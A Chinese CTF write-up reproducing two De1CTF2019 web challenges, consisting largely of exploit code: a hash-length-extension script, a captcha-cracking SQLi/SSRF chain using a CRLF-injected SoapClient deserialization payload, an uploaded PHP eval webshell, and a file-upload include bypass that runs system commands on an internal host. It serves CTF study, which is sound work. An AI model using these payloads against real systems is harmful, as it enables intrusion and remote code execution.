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De1CTF2019 复现

Posted on Edited on In

比赛题目wp 环境:
https://github.com/De1ta-team/De1CTF2019/

SSRFme

题目地址:http://139.180.128.86/

审计源码：

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#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

exp:

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import hashpumpy
import requests
import urllib
url = "http://139.180.128.86"
filename = "flag.txt"

def geneSign():
        params = {
                    'param':filename
                  }
        r = requests.get(url+'/geneSign',params=params)
        print r.text
        return r.text

def challenge(action,sign,param):
        cookie = {
                    'action':action,
                    'sign':sign
                 }
        params = {
                    'param':param
                 }
        print params
        print cookie
        r2 = requests.get(url+'/De1ta',params=params,cookies=cookie)
        print r2.text

hash = hashpumpy.hashpump(geneSign(),'scan','read',24)
sign = hash[0]
#print sign
action = urllib.quote(hash[1])
#print action
challenge(action,sign,filename)

也可以不用哈希扩展攻击
参考：https://xz.aliyun.com/t/5921#toc-16

shellshellshell

原来是原题，复现艰难，阿里云会检测入侵，ban ip
源码泄露

原题：https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

跑验证码 ssrf 直接改了用

captcha.py

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import hashlib
from itertools import product

c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]

print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
    for k in captchas:
        f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')

ssrf_solve.py

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import re
import sys
import string
import random
import requests
import subprocess
from itertools import product

_target = 'http://xx.xx.xx.xx'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('tinmin.php', '<?php eval($_POST[tinmin]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

说flag在内网

然后访问/upload，嗯，发现shell传上去了
img

执行ifconfig

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eth0      Link encap:Ethernet  HWaddr 02:42:ac:16:00:03  
          inet addr:172.22.0.3  Bcast:172.22.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4208 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2498 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:584383 (584.3 KB)  TX bytes:505635 (505.6 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:78 errors:0 dropped:0 overruns:0 frame:0
          TX packets:78 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11067 (11.0 KB)  TX bytes:11067 (11.0 KB)

内网地址是172.22.0.3，ping一下其他，发现172.22.0.2主机存活，蚁剑扫描端口
img

80开着！
img

用马执行一下 curl http://172.22.0.2

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<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

又是原题

img

直接上payload
img

用postman 工具转请求为php curl

img

传上去，然后传tinmin=system('php exp.php');
找到flag

img

改一下内容

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<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://172.22.0.2",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tinmin.php\"\r\nContent-Type: false\r\n\r\n@<?php system('cat /etc/flag_is_He4e_89587236.txt');\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntinmin.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tinmin.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

img